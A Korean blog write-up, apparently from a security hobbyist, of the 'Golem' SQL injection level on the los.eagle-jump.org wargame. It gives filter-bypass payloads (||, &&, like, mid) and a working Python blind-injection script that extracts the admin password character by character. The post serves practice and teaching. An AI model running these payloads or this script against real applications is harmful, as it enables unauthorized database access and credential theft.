Notice
Recent Posts
Recent Comments
Link
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
Archives
Today
Total
관리 메뉴

White Security

Golem 문제풀이 본문

Wargame Writeups/los.eagle-jump.org

Golem 문제풀이

POSIX 2019. 1. 30. 19:56


los.eagle-jump.org 의 11번째 문제입니다.

or, and, substr, = 를 모두 차단하고 있네요.


or : ||

and : &&

substr : mid

= : like


등으로 우회가 가능합니다.


https://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?pw='||1--+-


pw에 '||1을 넣어 항상 true를 반환하도록 만들고

--+- 를 통해 이후 나오는 쿼트를 주석화 시켰습니다.


https://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?pw='||id+like+'admin'+%26%26+1--+-


차단된 '=' 를 대신하여 like를 사용하였고

& (%26) 문자는 인자의 spliter로 사용되기에

URI Encodng 하여 넣어 주었습니다.


admin으로 로그인 되는 것을

확인 하였으니 like 절을 이용해 pw값만 알아내면 되겠군요.


from urllib import request, parse
import math, sys

def check_true(response): return (response.find(b'Hello admin') != -1);

def if_query(query):
	url = 'https://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?pw='
	url += parse.quote("' || id like 'admin' && " + query + " -- -")
	req = request.Request(url)
	req.add_header('Cookie', 'PHPSESSID=qus0d9r31j3mjc9aao7p1o0k30;')
	req.add_header('user-agent','Mozilla/5.0')
	
	response = None
	
	while response is None:		
		try:
			response = request.urlopen(req)
		except:
			pass
	output = response.read()
	return check_true(output)

def check_greater_than(query, val):
	return if_query(query + '>' + str(val))
	
def find_char(query):
	first = 0
	last = 129
	
	while first < last - 1:
		mid = math.floor((first + last) / 2)
	
		if check_greater_than(query, mid):
			first = mid
		else:
			if check_greater_than(query, mid - 1):
				first = mid
			else:
				last = mid
			
	return chr(first)

def get_length(query):
	first = 0
	last = 65
	
	query = 'length(' + query + ')'
	
	while first < last - 1:
		mid = math.floor((first + last) / 2)
	
		if check_greater_than(query, mid):
			first = mid
		else:
			if check_greater_than(query, mid - 1):
				first = mid
			else:
				last = mid
	
	return first

def get_content(name):
	name = '(' + name + ')'
	content_len = get_length(name);
	content = ''
	
	if content_len == 0:
		sys.stdout.write('Invalid request\n')
		return ''
		
	for idx in range(1, content_len + 1):
		content += find_char('ascii(mid(' + name + ', ' + str(idx) + ', 1))')
		sys.stdout.write('\r[' + str(content_len) + '] ' + content + '_' * (content_len - len(content)))
	
	sys.stdout.write('\n')
	return content

content = get_content('pw')	


취약점을 이용해 작성한 파이썬3 스크립트 입니다.

이전 소스를 재활용 하느라 조금 비효율적으로 변했지만

정상적으로 작동하는 것을 확인할 수 있었습니다.



'Wargame Writeups > los.eagle-jump.org' 카테고리의 다른 글

Bugbear 문제풀이  (0) 2019.01.30
Darkknight 문제풀이  (0) 2019.01.30
Skeleton 문제풀이  (0) 2019.01.30
Vampire 문제풀이  (0) 2019.01.30
Troll 문제풀이  (0) 2019.01.30
Comments